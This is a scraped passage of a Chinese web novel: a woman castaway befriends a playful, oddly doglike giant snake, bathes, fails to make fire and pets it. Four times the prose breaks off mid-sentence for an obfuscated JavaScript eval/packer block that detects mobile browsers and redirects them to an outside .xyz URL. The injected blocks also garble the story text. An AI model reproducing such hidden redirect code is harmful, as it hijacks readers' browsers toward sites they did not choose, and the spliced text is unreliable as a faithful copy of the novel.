桃子没了,放桃子的沙地也多了一道坑。 余初谨望着沙地上的一道坑,沉默两秒,它吃一个桃子怕是还顺带吃了一斤沙子。 果不其然,下一秒,大蛇开始甩脑袋,显然是吃到沙子不舒服了。 几个甩头,沙子从嘴里甩了出来,迎面浇在余初谨头上。 余初谨嘴角抽搐。 大蛇看到余初谨头上脸上全是沙子,先是一愣,然后咧嘴笑,幸灾乐祸的样。 对上余初谨不善的目光,大蛇又开始后知后觉的心虚。 一条蛇,几秒钟的时间,表情别提多丰富了。 余初谨都怀疑这家伙是不是蛇了,怎么会有这么丰富的神情变化,比她家大黄都要通人性。 “去去去,一边玩去,整我一身的沙子,桃子没你的份了剩下的都是我的了。”余初谨冷漠驱赶。 大蛇也不强求,滑溜滑溜着庞大的身体,转身走了,也不知道是不是故意,大尾巴一甩一甩的,又溅起沙子,浇在了余初谨头上。 “你故意的是不是!”余初谨吼了一嗓子。 大蛇听到动静,没回头,而是滑溜走的速度加快,一眨眼的功夫跑几米开外去了。 余初谨好笑摇头,这蛇还会逗人玩呢。 拍了拍身上的沙子,桃子上同样沾上了沙子,余初谨只得又洗了一遍。 待到洗完,余初谨捧着用树叶包裹的数十颗桃子,跑到庇护所边,美美坐下,美美开吃。 满心期待地咬一口桃子,然后,嘴角笑容瞬间僵住。 “呸呸呸” 好酸! 余初谨最讨厌吃酸果子了,更何况是这堪比柠檬的东西。 她望着剩余的桃子,不应该啊,没熟的桃子就算是不甜也不至于这么酸,难道不是桃子? 不确定的又拿起一颗,咬了一口,不出意外的依旧是酸掉牙。 把果子放到一边,不愿意再吃了,吃这个她宁愿继续吃椰子。 大蛇望着被放到一边的果子,疑惑地向左歪头又向右歪头,仿佛在说,果子你不喜欢吃吗。 大蛇尾巴悄摸摸过来,把被丢弃在地的果子卷走,不解的用尾巴扒拉着果子,就像之前扒拉兔子一样。 一边扒拉果子,一边时不时看一眼余初谨。 余初谨摸了摸空空如也的肚子,认命般又开始吃椰子,这椰子再吃下去,余初谨都觉得她要变成一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644051|172738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个椰子了。 椰子吃着吃着,蛇尾巴不知道什么时候,又悄摸摸过来了,卷了一颗果子,放到了余初谨身侧。 意思很明显,你吃嘛,好吃好吃,比椰子好吃。 余初谨摇头,表示不吃。 大蛇不愿意放弃,卷起果子,继续递到余初谨眼前。 余初谨的注意力不在果子上,而在这条大尾巴上,这么小的果子它都能用大尾巴轻松卷起又轻松放下,灵活程度堪比人类的手了。 出于好奇,余初谨伸出手指,轻轻点了一下面前的蛇尾巴。 大蛇尾巴顿了一下,然后如同触电般,“嗖”一下缩了回去。 缩回去还不够,还把尾巴卷成一团,藏了起来,大眼睛瞪得像铜铃一般看着人。 余初谨被它看得发毛,挠挠头,嘀咕道:“怎么这么大反应,不知道的还以为我非礼你了。” 闻言,大蛇把尾巴藏得更加严实了。 余初谨摸摸鼻子:“行了行了,瞧你这小气劲,大不了以后不碰你尾巴了。” 说话间,大蛇突然立起身子,围着余初谨转悠。 余初谨不安地吞了下喉咙,该不会是摸一下尾巴就要发飙,要吃人吧。 惴惴不安之际,余初谨悄摸摸捡起一块石头。 捡石头的动作刚好落在大蛇眼里,一人一蛇四目相对,好不尴尬。 大蛇“嘶嘶”两声,似乎在表达什么。 余初谨默默抓紧石头。 大蛇尾巴一卷,一堆沙子往余初谨头上浇,浇完跑了。 余初谨:“……” 还好只是浇沙子发泄一下,不吃人就好,余初谨默默松口气。 由此可分析,大蛇的尾巴是不许人触碰的,可能类似于狗不喜欢人类碰触它们的尾巴一样。 刚收养大黄时,大黄也不许人摸尾巴,一摸就呲牙,凶得很。 但余初谨是什么人,天生反骨,贱兮兮的,越是不让摸,就越是要摸,动不动就突击一般摸一把大黄的尾巴,摸到最后,大黄已经摆烂了,躺平任撸。 想到这,余初谨不免担忧,自己被困孤岛已经三天了,也不知道自家傻狗怎么样了,不过大黄有邻居照看,倒也不至于饿死。 瞥了一眼旁边,大蛇正吃着它的酸桃子,一边吃一边偷偷观察两脚兽。 见两脚兽看过来,它又飞速躲开视线。 接下来就变成了,它看一眼余初谨又收回视线,看一眼余初谨再次收回视线。 余初谨一脑袋问号,这蛇干嘛呢。 见人类一直盯着它看,它把尾巴卷缩藏起来,扭扭捏捏得格外明显。 余初谨凌乱三秒,这蠢蛇为什么要一脸娇羞的样子??? 8. 洗澡 008洗澡 在一条巨蟒脸上看到娇羞的表情,其实……很诡异。 余初谨压下心头的诡异感,不再看它,拿起椰子,苦哈哈地继续吃椰子。 瞄了一眼一旁剩余的桃子,思忖片刻,拿了起来,干吃桃子太酸,或许可以把桃子弄碎一些,搅拌在椰汁里喝。 这么想,余初谨也这么做了,很快就得到了一杯桃子椰汁水,酸酸甜甜的,也算是给寡淡的椰子增加了些许口味。 或许应该给这杯调制的果汁取个名字,按照现在奶茶取名的方式,取个桃桃耶耶。 “桃桃耶耶,也不错哈哈哈。”余初谨苦中作乐。 后背忽然被什么东西轻轻点了一下。 余初谨毫无反应,只是淡淡瞥了一眼旁边的大蛇。 余初谨喝着她的桃桃耶耶,不搭理这条大蛇,但大蛇不依不饶。 也不知道这大蛇突然什么毛病,老是拿蛇尾巴点她,点一下她背部,又快速缩回,点一下她肩膀又快速缩回,点下一她的腿又快速缩回。 “你干嘛,你要干嘛,老拿尾巴点我做什么,不就是之前摸了一下你尾巴吗,至于吗,还得摸回来?我摸你一下,你要摸回我十下?” 余初谨叽里呱啦说了一大堆,大蛇眨巴着圆溜溜的大眼睛,歪着头,听得格外认真。 不知道的还以为它听懂了。 “算了算了,说了你也听不懂,尾巴收起来,不要老扒拉我。” 余初谨指了指它的尾巴,用肢体动作表达意思。 大蛇又扭捏起来,把尾巴藏着,盘成一团,并贼眉鼠眼地偷看人。 余初谨轻笑一声,这条蛇憨得很,呆呆傻傻的样。 把调制好的桃子椰汁递到大蛇跟前:“来,你也尝尝,酸味和甜味融合,味道还不错。” 其实味道压根够不着还不错的评价,无非苦中作乐。 桃子椰汁几乎是刚递过去,大蛇便一口吞,连让人反应的时间都没有,顺带又一次把余初谨半个手臂含了进去。 余初谨:“……” 下次一定得长记性,绝对不能再徒手喂它了。 “我有没有和你说过,吃东西温柔点,”余初谨将手从它大嘴里抽出来:“你看你,又弄我一手的口水,脏不脏啊你。” 余初谨跑到海边,清洗手臂上的大蛇口水。 大蛇亦步亦趋跟在旁边。 她洗手,大蛇尾巴淌水玩。 本来清澈的海水,被它的大尾巴搅和得泥沙翻滚。 余初谨不满地“啧”了一声。 大蛇停住动作:“嘶嘶。” 余初谨无奈:“你就会嘶嘶,别玩水了,水都让你弄浑了。” 大蛇不再搅合水,转而用尾巴卷起水,在它还没有第二步动作时,余初谨立马警惕,并出声警告:“不许把水泼我身上!” 大蛇眨眨眼,最后悻悻放下尾巴。 它又想往人身上泼水,不是往人身上泼沙子就是往人身上泼水,有够无聊,她在心底腹诽。 余初谨抬头看了看天,天色渐暗,一天又过去了,这已经是她被困荒岛的第三天了,仍旧没有半分被救援的希望。 随着太阳西落,焦躁烦闷的情绪也一同涌了上来。 然而,下一秒,“哗啦”一声。 水浇在了头顶。 谁浇的,不言而喻。 刚刚涌起的焦躁烦闷瞬间浇灭,只剩下恼火和咬牙切齿。 余初谨刚要兴师问罪,结果大蛇泼完水就跑了,显然它也知道这样做会让人生气,但它还是要这么做,纯粹就是使坏,是个幼稚蛇。 当然,余初谨也没成熟到哪去,捡起地上的椰子壳,舀起一勺水就跑过去,一把浇在了大蛇身上。 大蛇被迎头浇了一瓢水,先是一愣,然后眼睛放光,开始兴奋。 余初谨预感到了不好。 果不其然,大蛇尾巴又一次卷起水,往人身上泼,从头泼到尾。 余初谨也不落下风,用椰子壳继续舀水回击。 一来一回,竟是幼稚的打起了水仗。 “别泼了,你用尾巴属于是作弊你知不知道,你也得用椰子壳,你不有爪子嘛,用爪子,哈哈,你还真用爪子啊,瞧你那憨样,哈哈哈……” 余初谨笑得肩膀直抖。 被困多日,头一次笑的开怀。 这几天过得太紧绷了,难得放松了一小会。 水仗打累了,余初谨把椰子壳往旁边一丢,大咧咧地往地上一躺。 大笑开心过后,又是一阵惆怅。 三天都只吃椰子和一些酸桃子,体能已经完全跟不上了,稍微活动一下就疲累得很。 大蛇用蛇尾巴推她。 余初谨大力拍了一下它的尾巴:“去去去,我哪有力气一直陪你玩。” 尾巴突兀被拍,大蛇受惊般“嗖”一下缩了回去,并把尾巴盘起来,藏着。 余初谨躺在地上双手枕头,侧头看它,揶揄道:“你尾巴不让人碰,可又老拿尾巴来扒拉我,这不自相矛盾吗。” 大蛇当然不知道什么是自相矛盾,只是没一会,又用尾巴推她。 余初谨看向傻乎乎的大蛇,她似乎也挺幸运,滑翔伞出事故都没死,流落荒岛了也还有一只大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644052|172738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛇作伴,不至于太孤单。 怎么不算是一种另类的不幸中的万幸呢。 打完水仗,浑身湿哒哒黏糊糊,很是难受,趁着现在温度还没降下去,她打算洗个澡。 坐起身,先是将冲锋衣脱下,挂到一边枯树上晾着,随后继续脱里边的白T恤。 双手搭在T恤下摆,将衣服往上一翻,翻到一半,又放下手,回头看了一眼。 大蛇正目不转睛盯着人,眨巴着好奇的双眼。 余初谨:“虽然你只是一条蛇,但也该要明白非礼勿视。” 大蛇:“嘶嘶。” 很好,它盯得更认真,更目不转睛了。 余初谨不自在地撇撇嘴,想想又觉得无所谓,还能怕被一条蛇看了去吗,一条蛇而已。 想通后,脱下T恤,丢到一边。 大蛇看了看地上的衣服,又看了看脱得光光的两脚兽,表情一怔,淡青色的眼睛瞪大。 它的眼睛疯狂在衣服和人之间打转,满眼写着震惊,就差瞳孔地震了。 余初谨看明白了它的震惊,好笑的随口解释道:“那不是我的皮,只是衣服而已,人类是需要穿衣服的,你当我和你一样会蜕皮吗,傻蛇一只。” 附近虽然没有人,只有一条蛇,还傻乎乎的,但总归是在室外,脱得一丝、不挂总有些心理负担,要是突然出现个人可就尴尬了。 不过转念一想,这种情况下,如果真的能出现一个人,似乎不是坏事。 有人就意味着她得救了,但很可惜,岛上半个人影都瞧不见。 晃了晃脑袋,不再想这些烦心事。 赤脚下海,沙子是温热的,海水在阳光的暴晒下,同样是温热的,不冷不热刚刚好,是很适宜的温度。 唯一不足的可能是没有沐浴露,光是干洗,总感觉洗不干净,但就现在的条件,也没法挑剔。 走到水没过腰部的位置,便停了下来,她虽然会游泳,但是并不擅长,为了不出现意外,尽量不涉足深水区域。 把扎着的头发散开,头发也得顺带洗一洗,虽然没有洗发露,但洗总比不洗来的舒服。 海里,一人忙碌着洗澡洗头发。 岸边,一蛇忙碌着左歪头右歪头。 它估计还在疑惑两脚兽蜕皮为什么那么快,毕竟蛇蜕皮最少也需要一到两天,哪有一瞬间扒下来的。 大蛇一直盯着看,虽然只是一条蛇,但在一丝、不挂的情况下,被一直盯着,总归是有些不自在。 余初谨转身,背对着它。 就在这时,海面传来不同寻常的涟漪,像是有什么东西在缓慢靠近。 9. 蠢蛇 009蠢蛇 水面泛起异常涟漪。 余初谨搓洗头发的动作停住,看向涟漪的源头。 余初谨瞳孔微缩,竟是一条足有半臂长的大鱼! 她瞬间放缓了呼吸,不敢大动作,生怕把这条鱼吓走,小心翼翼挪动,慢慢靠近大鱼。 盯着鱼,聚精会神,猛地一个扑身压了过去。 水花溅起半米高。 动静弄得很大,身下却什么也没扑捉到,鱼一溜烟就跑了。 望着溜走的鱼,失落叹气,果然,就她这菜鸡实力,哪怕鱼送到眼前了,想要抓到鱼也几乎是痴人说梦。 失落两秒,忽地想起大蛇,那大家伙速度快,抓鱼肯定是一把好手,让它帮忙抓一条好了。 回头看向岸边大蛇。 正欲开口求助大蛇帮抓鱼,话还没说出口,刚好目睹大蛇慢慢悠悠游动到放置衣服的地方。 余初瑾表情一僵,鱼不鱼的不重要了,慌张喊道:“诶,你干嘛呢,不要动我的衣服。” 大蛇已经到达衣服旁,先是用嘴巴拱了拱衣服,后又用小爪子扒拉衣服。 大大的脑袋里小小的疑惑,这是两脚兽的皮吗,有两脚兽的味道,嗯,没错,这就是她的皮。 “你动我的衣服我会生气,真的会生气,会拿石头砸你,你信不信!”余初瑾大声恐吓。 衣服可是她的全部家当,没了就得光着,很害怕这条哈士奇蛇把她的衣服像拆庇护所一样拆掉。 庇护所可以重建,衣服没了可就真没了。 平时耳尖的大蛇,这会就和聋了一样,压根不理人,兴致勃勃的研究着她的衣服。 余初谨急坏了,匆忙跑回岸边。 刚至岸边就见大蛇把衣服拱了起来,把头塞进T恤里。 余初谨:“?” 难道它……在模仿人穿衣服? 学人蛇看到余初瑾穿着衣服,它也想学着穿衣服? 但很显然,它没有自知之明,无法判断它的体格有多大,能不能穿上这件T恤。 果不其然,T恤太小,头太大,刚罩到它眼睛的位置就卡住了。 霎时间整个世界都黑了,大蛇慌乱,害怕,外加疯狂甩头。 脑袋甩了十几下,也没能把罩在脑袋上的T恤甩下来,越来越着急,甩头的动作越发激烈,余初瑾都怕它甩出脑震荡来。 一边甩头,一边疯狂扭动,尘土飞扬。 余初瑾嘴角抽搐,真是让这条蠢蛇开了眼界了。 她挥了挥眼前的灰尘,无奈出声:“行了别甩了,冷静点,我帮你弄下来。” 听到余初瑾的声音,大蛇动作停住,瞬间安静下来。 “嘶嘶。” 余初瑾挑眉,略感意外。 头都被罩住了,这么慌乱的情况下,居然还不忘嘶嘶回应一下。 “我现在过去,我帮你弄下来,你不要乱甩了,你要是不小心甩到我,就你那大体格子,我都能被你甩飞三米,听到没,不要动。” 见大蛇没有继续动的意思,余初瑾这才小心翼翼走过去,又小心翼翼双手捏住T恤两边,又又小心翼翼拽了一下。 力度太小,拽不下来,“我用力拽了,你别应激,千万不能甩我。” 余初谨一再警告,但还好,大蛇一动不动,很是乖顺。 咬牙大力一扯,只听“啵”一声,成功把T恤从蛇脑袋上拽了下来。 大蛇重见光明,先是一怔,随即兴奋。 它眼睛亮亮地看着余初谨,顺带开心地围绕余初瑾转悠。 没有皮的两脚兽白白的,大蛇好奇地左右打量着她。 余初瑾没空管蛇在想什么,第一时间检查T恤有没有坏,这可是她唯一的衣服。 还好,衣服比较有弹性,并未裂开,还能穿。 大蛇持续围着余初瑾转,长长的尾巴将她圈在了一个狭小的空间里。 被一条又长又粗的尾巴围起来,很有压迫感,也很让人畏惧,余初谨不自觉地紧张起来,捏着衣服地手稍稍握紧。 但还好,大蛇也就兴奋好奇了一小会,很快撤回了尾巴,不再围着人转。 余初瑾默默松了口气。 别看余初谨时不时就蠢蛇蠢蛇的喊,嚣张得很,但实际上,她偶尔也还是怕它的,这么大个玩意,完全不怕自然不可能。 折腾一遭也没心情继续洗澡了,将T恤穿上,穿上之后发现T恤大了一圈,被大蛇脑袋撑大了。 低头闻了闻,带着一股子草香。 是大蛇身上的味道。 余初瑾一直都很不解,一条巨蟒大蛇,为什么身上带着青草香,又不是草食动物,怎么会有青草香呢? 眼前这条大蛇奇怪的地方又何止这一点,她就没见过哪条蛇会吃椰子桃子,会喜欢和人类玩…… 它还有爪子,很灵活的两个小爪子,有一排整齐的牙齿,刚刚帮它拔衣服的时候,还意外发现它脑袋上有两个很小很小的耳朵。 长得奇形怪状的一条蛇,你说它不是蛇吧它又是蛇,你说它是蛇吧又不太像蛇。 非常的奇怪。 “你是珍稀动物吗?我都没见过你这种类型的蛇,” “还是说,你是那种压根就没被发现过的新奇物种?” 它歪着脑袋,小小地耳朵动了动。 余初瑾发现她每次说话,大蛇都会歪脑袋,像是在认真倾听。 但很显然,它是听不懂的。 听不懂又听得很认真,一副没有功劳也有苦劳的样子。 “听这么认真,你还挺有礼貌,”余初瑾若有所思:“你到底是什么蛇,也没见过你这种蛇,不对,你不能是传说中的龙吧!” “嘶嘶” “好吧,龙好像不会吐蛇信子嘶嘶,只有蛇会这样,而且龙应该也没你这么丑,你可丑了。” “嘶嘶。” 余初瑾叹了口气:“想这么多干什么,你就是个妖怪又能怎样,又不能飞起来带我离开这个鬼地方。” 大蛇:“嘶嘶。” 说到这,余初谨突兀围着大蛇观察起来:“你不能真有翅膀会飞吧,让我看看,我仔细看看。” 围着蛇仔细看了一圈,很好,没有翅膀。 也是,如果真有翅膀能飞,那可能真是妖怪了。 许是余初谨盯着它看得太认真,大蛇又扭捏起来了,把尾巴盘起来,眼睛眨巴眨巴偷看人,露出害羞的小表情。 余初谨:“……” “行了,不盯着你看了,别露出这种奇奇怪怪的表情。” “嘶嘶。” 余初谨拨了拨湿漉漉的头发,“话说回来,你在这地方生活了多久,是从出生就在这个岛上吗。” 大蛇句句有回应:“嘶嘶。” “你有同类吗,你的同类不吃人吧?吃人的话就别带过来了,算了,就算是不吃人也别带过来,你长得怪吓人的,你同类估计也丑。” “嘶嘶。” “还好听不懂,不然我老说你长得丑,你不得和我急眼。” “嘶嘶。” 互相听不懂对方的语言,但一来一回的,竟也“聊”了起来。 “好饿,刚刚我洗澡的时候看到鱼了,但我抓不到,要不然你去帮我抓回来吧。” “嘶嘶。” “别光嘶嘶,鱼,在水里游的鱼,”余初谨连说带比划,试图让它理解:“那个能吃,鱼,游的鱼,抓回来,送我。” 交流半天……暴脾气上来了。 “蠢蛇!蠢死你得了!” 大蛇乐呵呵咧着大白牙。 余初谨扶额。 光吃椰子和桃子根本不顶饱,连着吃了三天,她的身体已然吃不消,饥饿感让她浑身软绵绵,没有力气。 火要还是生不起来,可能真得吃生肉。 当然,决定吃生肉前,起码得让这条傻蛇理解自己的意思,让它帮忙猎来食物。 余初谨继续试图和它沟通。 “鱼,帮我抓鱼。”她模仿鱼在水里游的动作,人在那扭啊扭。 大蛇盯着两脚兽看了一会,聪明的脑袋瓜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644053|172738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一转,立即模仿余初谨的动作,开始在沙地上扭来扭去。 余初谨退后两步,“你扭什么,疯了?” 大蛇停止扭动,挺直身子,小爪子踩在地上,眼睛亮亮看着人,尾巴甩啊甩,一脸求表扬。 余初谨沉默,它还想让自己夸它在地上扭得好看吗! “你这条蠢蛇,你退下吧,我看你是不气死我不罢休。” 没得到表扬的大蛇尾巴不晃了,拉拉个小脸,一脸委屈。 等到余初谨放弃和它沟通后,大蛇反倒是出门打猎了,虽然不是去抓鱼,而是往树林里窜。 大蛇似乎从来都不下水,每次都只在岸边待在,她下水洗澡的时候它也没跟着,难道是不会水? 也许吧,反正就是一条奇奇怪怪,不能以常理论之的蛇。 余初瑾这次并没有因为大蛇的离开而慌张,因为大蛇离开前用尾巴戳了戳她。 她起先并不懂它的意思,直至大蛇嘶嘶两声,先是走到树林边,过后又回来,再次走到树林边,再次回来。 如此往返来回几次。 “你干嘛,来来回回折腾,”话语停顿两秒,试探问:“你要去打猎?” “嘶嘶。” 余初瑾眉梢微挑,难道前两次它不告而别的去打猎,余初谨的那些抱怨,它听懂了? 因为听懂了,所以这次去打猎之前会提前说一声了? 谁说这条蛇蠢的,有时候又挺聪明……挺体贴。 半小时后,大蛇回来了,这次她猎回来了一只鸡。 鸡肉好啊,哪怕是不放佐料,做个叫花鸡什么的,味道都十分鲜美。 前提是有火。 余初瑾尝试了好几次钻木取火,但每次都以失败告终。 其中最接近的一次,也不过是火绒上冒出了一点点烟,但那一点点烟很快就熄灭了。 过程中,余初瑾不知道发了多少次脾气,她本也不是个脾气好有耐心的人。 一发脾气,就把钻木取火的工具踢开。 大蛇每次都在旁边看着,然后,用尾巴把她踢开的工具捡回来,排排整齐,放在余初瑾脚边。 大蛇似乎知道,余初瑾此刻踢开这些东西,过会也还是要捡回来的,毕竟她已经重复这个操作不知道多少次了。 发脾气的时候全部丢掉,等到冷静之后又默默捡回来。 大蛇目睹了好几次,自然也就懂了,所以,余初瑾一把东西丢出去,大蛇第一时间就捡了回来。 捡回来后,小爪子踩在地,尾巴甩啊甩,一副等表扬的样子。 余初瑾正恼火,狗路过都得骂两句,大蛇也是个不会看脸色的,正撞枪口上。 “你这条蠢蛇,你为什么不会喷火,你要是会喷火,我至于这么费劲吗,都怪你,都是你的错。” 人在这种环境下待了几天,已经有点癫了,无理取闹中。 大蛇摇头晃脑,乐呵呵。 “我是在骂你,你高兴什么?蠢蛇。” “嘶嘶。” “蠢蛇。” “嘶嘶。” 发泄了一会情绪,对上傻乎乎的大蛇,又有点小愧疚,“好吧好吧,不该总骂你,你虽然蠢,但也勉强够得着算是蠢萌。” 大蛇身后地尾巴摇啊摇。 余初瑾瞥了一眼它的尾巴,怎么真跟狗狗一样,高兴的时候摇尾巴。 或许,也可以像摸狗狗一样摸摸它? 有点意动。 这不是余初瑾第一次冒出这种念头了,之前有好几次都想摸摸它,但总归是有那么一丢丢畏惧,并未付诸于行动。 几天接触下来,余初瑾胆子也愈发肥了,主要是它真的很像一条乖乖狗,也正因为它像一条乖乖狗,余初瑾才想摸它脑袋。 她状着胆子,试探伸手。 大蛇盯着她伸过来的手,懵懂的大眼睛露出困惑 手伸到一半,停住,提前叮嘱:“摸一下是表达喜欢,你可不能咬人。” 大蛇思考两秒,懂了,大嘴一张,一把含咬住她伸来的手。 10. 焦急 010焦急 手突兀地被大蛇一口咬住,传来湿滑的触觉。 余初谨愣了两秒。 “啊。”猛地缩回手。 突然啊一声,大蛇被吓得往后缩,仿佛刚刚咬人的不是它一样。 余初谨慌慌张张低头检查手,所幸并没有受伤,大蛇只是轻轻含住,并没有下嘴咬,不然就大蛇惊人的咬合力,她的手怕是已经断成两节了。 “你咬人,你怎么能咬人,你这条坏蛇!”虽然没被咬伤,但不影响余初谨兴师问罪。 大蛇无辜地眨巴着大眼睛。 “你咬我,都说了不能咬我你还咬我,我现在有点生气,不想理你了,”说着说着,话锋一转, “但鉴于你没有把我咬伤,我也勉强可以原谅你,但是有前提条件。” 大蛇歪着脑袋,脑袋上的小耳朵动了动,认真听着两脚兽的叽叽喳喳。 余初瑾做出向下搭了搭的手势,“你把身子弯下来,我摸一下你脑袋,摸一下怎么了,哪只狗不给人摸,你都摇尾巴了,四舍五入也算是狗狗了,给我摸一下,快点。” 为了摸到它,开始胡说八道。 大蛇听不懂她话里的意思,但看懂了她向下搭的手势。 乖顺地把头低了下来。 余初瑾深吸一口气,缓缓的慢慢的,轻轻把手放在了它的脑袋上。 放一下,便快速收回,怕它又咬人。 只是收回的速度太快,都没摸出它脑袋是什么手感。 大蛇歪头,疑惑眨眼。 余初瑾见它不抗拒,不免胆子又肥了一点,再次把手搭了上去。 轻轻摸了一下,轻轻又摸了一下,轻轻再摸了一下,摸了之后又捏了捏。 手感Q弹,滑滑的,凉凉的,像质地很好的绸缎。 大蛇有点不明所以,依旧眨巴着疑惑的眼睛,但并不抗拒余初瑾地抚摸。 它唯一会抗拒的是余初瑾触碰它的尾巴。 严格意义上来说也不算是抗拒,更像是害羞…… 当然害羞这个理解,是余初瑾单方面的想法,大蛇真正的想法,余初瑾不得而知,她只是觉得它的表情像害羞而已。 难道尾巴是大蛇的敏感部位? 越想越觉得是这么一回事,那就对了,难怪自己盯着它的尾巴看的久了点,它都会把尾巴藏起来。 难怪之前触碰了一下它的尾巴,它立马就缩回了,反应还那么大。 触碰了它最敏感的尾巴,它也没有发火,只是悄悄把尾巴藏起来,只是默默害羞,大蛇的脾气是真的非常好。 性格很温顺的一条蛇。 余初瑾摸了几下蛇头,也就收回手了,并评价了一句:“没有毛,没有我家大黄好摸。” 大蛇:“嘶嘶。” 还好大蛇听不懂,不然这话说出口它说不定都得生气,不对,这么温顺的蛇,哪怕就算是听懂了,估计也不会生气。 就在这时,大蛇突然把头顶了过来。 这大家伙完全不会控制力度,顶过来的时候,余初瑾只觉胸口一疼,闷哼一声,吃痛不已。 大蛇毫无自觉,期待地看着两脚兽。 余初瑾揉了揉被它大脑袋顶疼的胸口:“你干嘛,很痛啊。” 大蛇杵着个大脑袋,也不走,但也不顶人了,眼睛直勾勾地盯着余初瑾的手,满眼期待。 见余初瑾迟迟没有动作,大蛇又开始用大脑袋顶人了,这次倒是学会控制力度了。 不往人胸口顶了,而是不停地用脑袋去拱余初瑾的手。 余初瑾一怔,明白过来,被它这反应逗笑了:“你还真和狗狗一样啊,狗子喜欢被摸脑袋,你也喜欢?” 问这句话有点多余了,因为大蛇此刻的动作已经很说明问题了。 喜欢,非常喜欢。 肢体动作都在说,摸我摸我你快摸我,你怎么不摸。 余初瑾重新将手搭在它脑袋上,轻轻抚摸。 大蛇大大的眼睛眯起,满脸享受。 摸了五分钟,累了,新奇感也没了,余初瑾收回手。 大蛇急了,用大脑袋拱她的手。 “喂,哪有一直摸的,我手酸了,不摸了。” “嘶嘶。” 这次的嘶嘶声很低哑,明显带了情绪。 “你还生气上了?” “嘶嘶!” 大蛇不停用脑袋扒拉人的手,不依不饶,余初瑾“啧”了一声,手握成拳,在它脑袋上敲了一下。 大蛇懵了一瞬,随即“嗖”一下收回脑袋,拉开了距离,瞪着无辜地眼睛看着人。 余初瑾铁石心肠:“装可怜也没用,你还没完没了了,不打一下你,你是不会消停的。” 大蛇瘪嘴,把自己盘成一团,尾巴捂着被敲的脑袋,委屈巴巴。 “你这是什么鬼样子,这么大一条蛇,被敲一下头就委屈成这样了?” 余初谨哭笑不得,叉腰道: “我也没用多大力敲你,就算真用力了,就你那皮糙肉厚的样,我还能敲疼你不成。” 大蛇自顾自盘成一团,委屈劲十足,完全不理人。 余初谨:“……” 幼稚死了,这条蠢蛇。 “咕咕” 余初谨肚子传来咕噜噜的叫声。 饿了,准确来说是她每天都饿。 盘成一团赌气中的大蛇小耳朵动了动,忽然凑到她肚子上来听动静。 余初瑾一惊,赶忙把它的大脑袋推开:“这么大个脑袋,别动不动凑过来,怪吓人的。” 虽然已经确定了大蛇没有攻击性且性情温顺,和狗子差不多,但到底和狗子不同,体型摆在这里,骇人的外观也摆在这里。 短时间内没法完全消除本能的害怕,它突然一下凑过来,时常还是会把余初瑾吓一跳。 但大蛇完全没有这个觉悟,总是时不时就凑过来。 尤其是每次睡醒,一睁眼就会发现大蛇脑袋堵在庇护所的出入口。 哪怕入睡前赶走它,等到睡着之后它又会凑过来,堵在门口,堵的严丝合缝。 它固执的非要挨着人睡,进不去庇护所就堵在门口挨着,但最起码也算是机灵了点,不会再把庇护所弄坏。 当然,一个不小心也还是会把庇护所弄坏。 余初瑾对此都习惯了,庇护所都“重建”好几次了。 大蛇听到了肚子咕噜噜的动静,明白两脚兽是饿了,当即就要去打猎。 蛇吃一顿能顶好几天,并不需要每天都出去打猎,但这条蛇每天都会出去。 与其说大蛇是每天都出去打猎,不如说是每次一听到余初瑾肚子咕噜响,它就会出去打猎。 打回来的猎物它也不吃,第一时间递给余初瑾。 大蛇不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644054|172738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己需要吃东西而出去打猎,而是觉得余初瑾需要吃了。 “今天别去打猎了,你之前给我抓的鱼我还没吃呢。”余初瑾拦住大蛇。 没错,经过多番沟通,大蛇总算是听明白了,并轻松捕获了一条鱼送给她。 说话间,余初瑾把盖在树叶下的大鱼拿了出来,上午才抓来的鱼,现在还很新鲜。 连续多日吃椰子,让她的身体愈发虚弱,已经到了走两步都晕乎的程度了。 得吃些肉食补充体力,哪怕是生的。 多天过去,她始终没能生起火来。 比起吃生肉的不适应,以及很有可能会伴随的消化不良寄生虫等风险,现在明显的虚弱无力才更为迫在眉睫。 